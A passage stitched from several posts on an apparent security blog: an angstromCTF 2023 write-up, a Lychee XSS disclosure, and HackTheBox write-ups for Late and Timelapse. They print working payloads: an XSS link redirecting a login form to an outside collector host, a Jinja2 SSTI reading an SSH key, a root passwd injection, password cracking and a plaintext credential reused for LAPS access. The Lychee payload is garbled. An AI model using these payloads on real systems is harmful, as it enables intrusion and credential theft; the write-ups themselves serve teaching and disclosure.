using <a href="https://jinja.palletsprojects.com/en/3.0.x/templates/#jinja-filters.safe">Jinja2 filters</a> in
addition to requests parameters we were able to craft an XSS:</p>
<p><code>https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Ealert(1);%3C/script%3E</code></p>
<p><img alt="XSS triggered" src="/media/2023.05/hallmark.png"/></p>
<p>We needed to retrieve and exhilarate the flag. But we also needed to wait for the form to be fully
loaded. Using <code>window.onload</code> would achieve that. After a few try the final payload looked like
this:</p>
<p><code>https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Ewindow.onload%20=function(){document.forms[0].action=%22https://zux59nvo5p5igit9du044x2mhdn4bxzm.oastify.com%22};%3C/script%3E</code></p>
<p>Sending this link to the admin resulted in an interaction with our collaborator that disclosed the
flag.</p>
<div class="highlight"><pre><span></span><code>POST / HTTP/1.1
Host: zux59nvo5p5igit9du044x2mhdn4bxzm.oastify.com
<snip>
username=admin&password=actf%7Badm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9%7D
</snip></code></pre></div>
<h1>filestore</h1>
<ul>
<li>180 points</li>
<li>73 solves</li>
</ul>
<p>This was a PHP file store service.</p>
<div class="highlight"><pre><span></span><code>dist/
├── Dockerfile
├── list_uploads
├── make_abyss_entry
└── src
├── index.php
└── uploads
└── placeholder.txt
</code></pre></div>
<p>The main file was the PHP index:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REQUEST_METHOD'</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"POST"</span><span class="p">){</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"f"</span><span class="p">][</span><span class="s2">"size"</span><span class="p">]</span> <span class="o">></span> <span class="mi">1000</span><span class="p">)</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"file too large"</span><span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$i</span> <span class="o">=</span> <span class="nb">uniqid</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"f"</span><span class="p">])){</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"f"</span><span class="p">][</span><span class="s2">"tmp_name"</span><span class="p">],</span> <span class="s2">"./uploads/"</span> <span class="o">.</span> <span class="nv">$i</span> <span class="o">.</span> <span class="s2">"_"</span> <span class="o">.</span> <span class="nb">hash</span><span class="p">(</span><span class="s1">'sha256'</span><span class="p">,</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"f"</span><span class="p">][</span><span class="s2">"name"</span><span class="p">])</span> <span class="o">.</span> <span class="s2">"_"</span> <span class="o">.</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"f"</span><span class="p">][</span><span class="s2">"name"</span><span class="p">])){</span>
<span class="k">echo</span> <span class="s2">"upload success"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"upload error"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"f"</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">include</span> <span class="s2">"./uploads/"</span> <span class="o">.</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"f"</span><span class="p">];</span>
<span class="p">}</span>
<span class="nb">highlight_file</span><span class="p">(</span><span class="s2">"index.php"</span><span class="p">);</span>
<span class="c1">// this doesn't work, so I'm commenting it out 😛</span>
<span class="c1">// system("/list_uploads");</span>
<span class="p">}</span>
<span class="cp">?></span>
</span></code></pre></div>
<p>Note that we had an LFI and <code>https://filestore.web.actf.co/?f=../../../../../etc/passwd</code> would
return the content of <code>/etc/passwd</code>.</p>
<p>Uploading a file would result in it being renamed using the <code>uniqid</code> function. As notice in a <a href="https://www.php.net/manual/en/function.uniqid.php">big
red box on the documentation</a> this function just
return the time in microseconds and must not be used for cryptographic purposes.</p>
<p>The final filename would be in the form <code>time_sha256sum_filename</code>.</p>
<p>We created a script that will upload a simple PHP shell and print the value of <code>uniqid</code> before and
after the request.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">files</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'f'</span><span class="p">:</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'shell.php'</span><span class="p">,</span><span class="s1">'rb'</span><span class="p">)}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s1">'https://filestore.web.actf.co/'</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">'php -r </span><span class="se">\'</span><span class="s1">printf("uniqid(): </span><span class="si">%s</span><span class="se">\r\n</span><span class="s1">", uniqid());</span><span class="se">\'</span><span class="s1">'</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">)</span><span class="c1">#, data=values)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">'php -r </span><span class="se">\'</span><span class="s1">printf("uniqid(): </span><span class="si">%s</span><span class="se">\r\n</span><span class="s1">", uniqid());</span><span class="se">\'</span><span class="s1">'</span><span class="p">)</span>
</code></pre></div>
<p>It turned out that this was around 470k requests. It seemed too much to be bruteforce and there
should be another way.</p>
<p><em>I did not solve this challenge</em></p>
<p><a href="https://github.com/meme-lord/writeups/blob/main/angstrom/2023/filestore.md">Meme-Lord, used ffuf to bruteforce it and you can find the followup of the challenge in his writeup</a></p>
<p><a href="https://github.com/TCP1P/TCP1P_CTF_writeup/tree/main/2023/angstromctf-2023#filestore---web">Another method was to use <code>pearcmd.php</code></a>.
This method is also detailed <a href="https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d">here (gist)</a>
and <a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters">here (hacktricks)</a>.</p>Cross-Site Scripting in Lychee2022-10-22T14:25:00+02:002022-10-22T14:25:00+02:00maggicktag:maggick.fr,2022-10-22:/2022/10/cross-site-scripting-in-lychee.html<p><img alt="XSS in Lychee" class="align-left" src="/media/2022.10/xss_album_title_1.png" width="262"/></p>
<p><a href="https://lycheeorg.github.io/">Lychee</a> is a self-hosted photo-management and gallery.
I am using the <a href="https://lycheeorg.github.io/">Lychee</a> application for my personal usage (mostly
sharing pictures with the family).</p>
<p>The application has been greatly improved since the last update of my instance.
I fired up a <a href="https://hub.docker.com/r/lycheeorg/lychee">docker</a> and start taking a look at the
application for new features.
It was not long before I found a few XSS, one of them could allow unauthenticated users to to gain
logged access to the platform by creating a new account.</p>
<p>I reported the issues to the project and we created a
<a href="https://docs.github.com/en/code-security/repository-security-advisories/about-github-security-advisories-for-repositories">Github Security Advisory</a>:
<a href="https://github.com/LycheeOrg/Lychee-front/security/advisories/GHSA-cr79-38hg-27gv">https://github.com/LycheeOrg/Lychee-front/security/advisories/GHSA-cr79-38hg-27gv</a>.</p>
<p><img alt="XSS in Lychee" class="align-left" src="/media/2022.10/xss_album_title_1.png" width="262"/></p>
<p><a href="https://lycheeorg.github.io/">Lychee</a> is a self-hosted photo-management and gallery.
I am using the <a href="https://lycheeorg.github.io/">Lychee</a> application for my personal usage (mostly
sharing pictures with the family).</p>
<p>The application has been greatly improved since the last update of my instance.
I fired up a <a href="https://hub.docker.com/r/lycheeorg/lychee">docker</a> and start taking a look at the
application for new features.
It was not long before I found a few XSS, one of them could allow unauthenticated users to to gain
logged access to the platform by creating a new account.</p>
<p>I reported the issues to the project and we created a
<a href="https://docs.github.com/en/code-security/repository-security-advisories/about-github-security-advisories-for-repositories">Github Security Advisory</a>:
<a href="https://github.com/LycheeOrg/Lychee-front/security/advisories/GHSA-cr79-38hg-27gv">https://github.com/LycheeOrg/Lychee-front/security/advisories/GHSA-cr79-38hg-27gv</a>.</p>
<p>The lychee application create an administrator account the first time the application is browsed.
This account is the only one with administrative privileges (account management, logs and
diagnostics) and is expected to have full access to the underlying server (shell access). In
addition, this account has access to all photos and albums
uploaded by the different users.</p>
<p>All this privileges made this account attractive for XSS payloads and attacks.
Note that the session cookie was <code>HttpOnly</code> and that the <code>XSRF</code> cookie was not, it will matter later
in the exploitation phase.</p>
<h1>Insertion points</h1>
<p>Only the admin can create a user account while there is a few authenticated insertions points
(photo and album title, username once the user changed it) they are not that interesting as the
admin probably trust the new users or even does not create user accounts.</p>
<p><img alt="xss in album title" src="/media/2022.10/xss_album_title_0.png"/>
<img alt="xss in album title" src="/media/2022.10/xss_album_title_1.png"/></p>
<p>I focused on unauthenticated insertion points.</p>
<h2>Logs logs logs</h2>
<p>The admin user has access to a "Show Logs" administrative function. I quickly noticed that
authentication attempts where displayed in the logs including the user controlled <code>user</code> parameter.</p>
<h2>Log injection - alert(1)</h2>
<p>It was relatively easy to try to login as the <code><script>alert(1)</script></code> user and trigger an alert
in the admin session (the screenshot below is when the user change its username but the result is the
same as we inject the logs).</p>
<p><img alt="unauthenticated xss in album title" src="/media/2022.10/xss_username_log.png"/></p>
<p>It is possible for an attacker to perform
<a href="https://owasp.org/www-community/attacks/Log_Injection">log injection</a> using this entry point.</p>
<h2>Beyond alert(1)</h2>
<p>I wanted to go beyond an alert pop-up, we want a user account. Using the username
<code><script 172.17.0.2:80="" api="" http:="" span="" src='172.0.0.1/a.js"/></code>, I was able to inject a longer JavaScript payload that would
request the API endpoint <code>User::create</code> passing in POST parameters its username, password and
privileges. I also retrieve the <code>X-XSRF-TOKEN</code> value from the cookie as it was not <code>HttpOnly</code> (I
recommended to the team to add this flag to the XSRF cookie but that
was not possible as they also needed to access it using JavaScript.)</p>
<div class="highlight"><pre><span></span><code><span class="nx">fetch</span><span class="p">(</span><span class="s1">' user::create'<=""></script></code></p>HTB: Late2022-08-22T19:00:00+02:002022-08-22T19:00:00+02:00maggicktag:maggick.fr,2022-08-22:/2022/08/htb-late.html<p><img alt="Late Card" class="align-left" src="/media/2022.08/late_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/463">Late</a> publish on
April 23, 2022 by
<a href="https://www.hackthebox.com/home/users/profile/389926">kavigihan</a>.
This box is rated as an easy machine. It implies an OCR function, a SSTI and a SUID binary.</p>
<p><img alt="Late Card" class="align-left" src="/media/2022.08/late_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/463">Late</a> publish on
April 23, 2022 by
<a href="https://www.hackthebox.com/home/users/profile/389926">kavigihan</a>.
This box is rated as an easy machine. It implies an OCR function, a SSTI and a SUID binary.</p>
<h1>Foothold and user</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.92 scan initiated Sun Jun 12 08:22:12 2022 as: nmap -sSV -oN notes.md 10.129.72.242
Nmap scan report for 10.129.72.242
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmp.org/submit/ .
# Nmap done at Sun Jun 12 08:22:19 2022 -- 1 IP address (1 host up) scanned in 7.13 seconds
</code></pre></div>
<p>Port 80 was a web application containing a link to a subdomain
<code>http://images.late.htb/</code>. This application allowed to perform OCR on images.
We test a few example and realize that we are facing <a href="https://portswigger.net/web-security/server-side-template-injection">SSTI</a>.</p>
<p>We upload an image containing the basic SSTI identification:</p>
<p><img alt="SSTI identification" src="/media/2022.08/late_01.png"/></p>
<p>The application resolved the second operation.</p>
<div class="highlight"><pre><span></span><code><p>${8*8} aa 49
</p>
</code></pre></div>
<p>Following PortSwigger graph I uploaded a new image.</p>
<p><img alt="SSTI identification 2" src="/media/2022.08/late_02.png"/></p>
<p>The application resolved <code>7*'7'</code> as <code>7777777</code>. Therefore the application was using Jinja2.</p>
<p>A <a href="https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee">blog post</a> described Jinja injection.</p>
<p>I verified that <code>popen</code> is available:</p>
<p><img alt="checking popen" src="/media/2022.08/late_03.png"/></p>
<p>Then by dichotomy I founded the <code>popen</code> index.</p>
<p><img alt="popen index" src="/media/2022.08/late_04.png"/></p>
<p><code>Popen</code> was the subprocess with index 249.</p>
<div class="highlight"><pre><span></span><code><p>[<class 'zipfile.ZipFile'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
</p>
</code></pre></div>
<p>I ran <code>ls</code> to proved that I had RCE.</p>
<p><img alt="running ls" src="/media/2022.08/late_05.png"/></p>
<div class="highlight"><pre><span></span><code><p>(b'main.py\nmisc\n__pycache__\nstatic\ntemplates\nuploads\nwsgi.py\n', None)
</p>
</code></pre></div>
<p>I ran <code>id</code> to get an idea of which user was running the application. The user <code>id</code> was 1000 meaning that this
was probably a standard human user.</p>
<div class="highlight"><pre><span></span><code><p>(b'uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)\n', None)
</p></code></pre></div>
<p>After a few trials, I found a payload that allowed to retrieve <code>id_rsa</code> from the user.</p>
<div class="highlight"><pre><span></span><code>{{''.__class__.__mro__[1].__subclasses__()[249](['cat','/home/svc_acc/.ssh/id_rsa'],stdout=-1).communicate()}}
</code></pre></div>
<p>I connected to the box using SSH and grabbed the user flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh svc_acc@10.129.72.242 -i id_rsa
svc_acc@late:~$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
svc_acc@late:~$ cat user.txt
17295259a78e40790974b3ac7d2d0a8f
</code></pre></div>
<h1>Root</h1>
<p>I ran <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">linpeas</a> and found that there was a user writable file in <code>/usr/local/sbin</code>, a folder where binary are run as root.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
<span class="nv">RECIPIENT</span><span class="o">=</span><span class="s2">"root@late.htb"</span>
<span class="nv">SUBJECT</span><span class="o">=</span><span class="s2">"Email from Server Login: SSH Alert"</span>
<span class="nv">BODY</span><span class="o">=</span><span class="s2">"</span>
<span class="s2">A SSH login was detected.</span>
<span class="s2"> User: </span><span class="nv">$PAM_USER</span>
<span class="s2"> User IP Host: </span><span class="nv">$PAM_RHOST</span>
<span class="s2"> Service: </span><span class="nv">$PAM_SERVICE</span>
<span class="s2"> TTY: </span><span class="nv">$PAM_TTY</span>
<span class="s2"> Date: `date`</span>
<span class="s2"> Server: `uname -a`</span>
<span class="s2">"</span>
<span class="k">if</span><span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="si">${</span><span class="nv">PAM_TYPE</span><span class="si">}</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"open_session"</span><span class="w"> </span><span class="o">]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Subject:</span><span class="si">${</span><span class="nv">SUBJECT</span><span class="si">}</span><span class="s2"> </span><span class="si">${</span><span class="nv">BODY</span><span class="si">}</span><span class="s2">"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>/usr/sbin/sendmail<span class="w"> </span><span class="si">${</span><span class="nv">RECIPIENT</span><span class="si">}</span>
<span class="k">fi</span>
</code></pre></div>
<p>I copied <code>/etc/passwd</code> and added a new line containing a root user (<code>id=0</code>) with the password <code>pass123</code>:
<code>toto2:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash</code></p>
<p>Then I modified the <code>/usr/local/sbin/ssh-alert.sh</code> file to copy the modified <code>passwd</code> file in <code>etc</code>:
<code>echo 'cp /home/svc_acc/passwd /etc/passwd' >>/usr/local/sbin/ssh-alert.sh</code></p>
<p>Then I connect to ssh with our <code>svc_acc</code> user and switch user to <code>toto2</code> and grabbed the flag.</p>
<div class="highlight"><pre><span></span><code>svc_acc@late:~$ su toto2
root@late:/home/svc_acc# id
uid=0(root) gid=0(root) groups=0(root)
root@late:/home/svc_acc# cd
root@late:~# cat root.txt
365276e9d7ba2bb0c907fe9ee608164a
</code></pre></div>
<h1>Wrapping up</h1>
<p>A nice box exploiting SSTI and a SUID binary. The fact that the SSTI was in an image was
fun but tedious as sometime the OCR was not perfect and submitting the same image another
time did not give the same result.</p>HTB: Timelaps2022-08-22T18:55:00+02:002022-08-22T18:55:00+02:00maggicktag:maggick.fr,2022-08-22:/2022/08/htb-timelaps.html<p><img alt="Timelaps Card" class="align-left" src="/media/2022.08/timelaps_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/452">Timelapse</a> publish on
Mars 2022 by
<a href="https://www.hackthebox.com/home/users/profile/168546">d4rkpayl0ad</a>.
This box is rated as an easy machine. It implies a SMB share, a encrypted zip archive,
a certificate, a password in a shell history and LAPS.</p>
<p><img alt="Timelaps Card" class="align-left" src="/media/2022.08/timelaps_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/452">Timelapse</a> publish on
Mars 2022 by
<a href="https://www.hackthebox.com/home/users/profile/168546">d4rkpayl0ad</a>.
This box is rated as an easy machine. It implies a SMB share, a encrypted zip archive,
a certificate, a password in a shell history and LAPS.</p>
<h1>Foothold and user</h1>
<h2>Recon</h2>
<p>I started with an <code>nmap</code> scan. A few ports are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.92 scan initiated Sat Jun 11 10:49:58 2022 as: nmap -sSV -oN notes.md 10.129.71.83
Nmap scan report for 10.129.71.83
Host is up (0.014s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-10 22:50:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 11 10:50:14 2022 -- 1 IP address (1 host up) scanned in 15.85 seconds
</code></pre></div>
<p>Port 445 and 139 were open. I checked the available shares using <code>smbclient</code>.</p>
<div class="highlight"><pre><span></span><code>└─$ smbclient -L 10.129.71.83
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
</code></pre></div>
<p>I connected to the <code>Shares</code> folder.</p>
<div class="highlight"><pre><span></span><code>└─$ smbclient //10.129.71.83/Shares
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Oct 25 11:39:15 2021
.. D 0 Mon Oct 25 11:39:15 2021
Dev D 0 Mon Oct 25 15:40:06 2021
HelpDesk D 0 Mon Oct 25 11:48:42 2021
6367231 blocks of size 4096. 1269200 blocks available
smb: \> ls HelpDesk\
. D 0 Mon Oct 25 11:48:42 2021
.. D 0 Mon Oct 25 11:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 10:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 10:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 10:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 10:57:44 2021
6367231 blocks of size 4096. 1260315 blocks available
</code></pre></div>
<p>I grabbed everything there is in the <code>HelpDesk</code> folder.</p>
<ul>
<li><code>LAPS.x64.msi</code> is the install program for LAPS</li>
<li>The <code>docx</code> files are old documentation</li>
</ul>
<p>Nothing interesting, I tooked a look in the <code>Dev</code> folder</p>
<div class="highlight"><pre><span></span><code>smb: \Dev\> ls
. D 0 Mon Oct 25 15:40:06 2021
.. D 0 Mon Oct 25 15:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021
6367231 blocks of size 4096. 1269072 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (44.0 KiloBytes/sec) (average 44.0 KiloBytes/sec)
</code></pre></div>
<p>The zip archive is protected with a password. I used <code>zip2john</code> to extract the password
hash from the archive and feed it to john using the <code>rockyou</code> wordlist. The password
was immediatly found: <code>supremelegacy</code>.</p>
<div class="highlight"><pre><span></span><code>→ john hash -w=~/tools/password_lists/rockyou.txt
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2022-06-11 17:10) 3.225g/s 11204Kp/s 11204Kc/s 11204KC/s suziexx..supergau
Session completed
</code></pre></div>
<p>I decompressed the archive using the password and got a file named <code>legacyy_dev_auth.pfx</code>. The <code>.pfx</code> files are
certificate (private an public keys) that can be used for authentication.</p>
<p>The certificate was protected by a password. So I used <code>pfx2john</code> and feed it to john (again)
and I got the password in a few seconds (again) still using the <code>rockyou</code> wordlist.</p>
<div class="highlight"><pre><span></span><code>→ john hash -w=~/tools/password_lists/rockyou.txt
0g 0:00:00:03 0.79% (ETA: 17:28:34) 0g/s 44418p/s 44418c/s 44418C/s GATORS..14411441
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:01:30 DONE (2022-06-11 17:23) 0.01101g/s 35599p/s 35599c/s 35599C/s thuglife03282006..thscndsp1
Session completed
</code></pre></div>
<p>Using openssl I extracted the public private keys from the certificate (I used the same
password for the PEM pass phrase)</p>
<div class="highlight"><pre><span></span><code>openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
Enter Import Password:
└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
</code></pre></div>
<p>I used <code>evil-winrm</code> to connect to the target using the certifiactes and grabbed the user flag.</p>
<div class="highlight"><pre><span></span><code>└─$ evil-winrm -S -c cert.crt -k key.pem -i 10.129.71.83 #thuglegacy
Evil-WinRM shell v3.3
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\legacyy\Documents> type ..\Desktop\user.txt
e7ac7c0f7d766c0f21f4005e1758af50
</code></pre></div>
<h1>Root</h1>
<p>I checked my privileges on the box, but nothing interesting.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
================= ============================================
timelapse\legacyy S-1-5-21-671920749-559770252-3318990721-1603
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
TIMELAPSE\Development Group S-1-5-21-671920749-559770252-3318990721-3101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
</code></pre></div>
<p>I used <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">winPEAS</a>
and found that there is a PowerShell history file in the <code>C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine</code>
folder.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\legacyy\Documents> upload winPEAS.bat
Info: Uploading winPEAS.bat to C:\Users\legacyy\Documents\winPEAS.bat
*Evil-WinRM* PS C:\Users\legacyy\Documents> .\winPEAS.bat
Enter PEM pass phrase:
winPEAS.bat : The system cannot find the batch label specified - SetOnce
+ CategoryInfo : NotSpecified: (The system cann...ified - SetOnce:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
The system cannot find the batch label specified - ColorLineThe system cannot find the batch label specified - ColorLineThe system cannot find the batch label specified - ColorLinePowerShell v2 Version:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine
PowerShellVersion REG_SZ 2.0
PowerShell v5 Version
<snip>
Transcriptions Settings:
Module logging settings:
Scriptblog logging settings:
PS default transcript history
Checking PS history file
Volume in drive C has no label.
Volume Serial Number is 22CC-AE66
Directory of C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
03/04/2022 12:46 AM 434 ConsoleHost_history.txt
1 File(s) 434 bytes
0 Dir(s) 5,256,929,280 bytes free
</snip></code></pre></div>
<p>The file contained a password to run as <code>svc_deploy</code> including the account password.</p>
<div class="highlight"><pre><span></span><code>whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
</code></pre></div>
<p>I used it as it was checking <code>svc_deploy</code> privileges. The account was part of the <code>LAPS_Readers</code> group.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\legacyy\Documents> $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
*Evil-WinRM* PS C:\Users\legacyy\Documents> $p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\legacyy\Documents> $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
*Evil-WinRM* PS C:\Users\legacyy\Documents> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami /all}
USER INFORMATION
----------------
User Name SID
==================== ============================================
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
</code></pre></div>
<p>I used a simple <a href="https://smarthomepursuits.com/export-laps-passwords-powershell/">commande</a> to retrieve the LAPS password.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\legacyy\Documents> $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
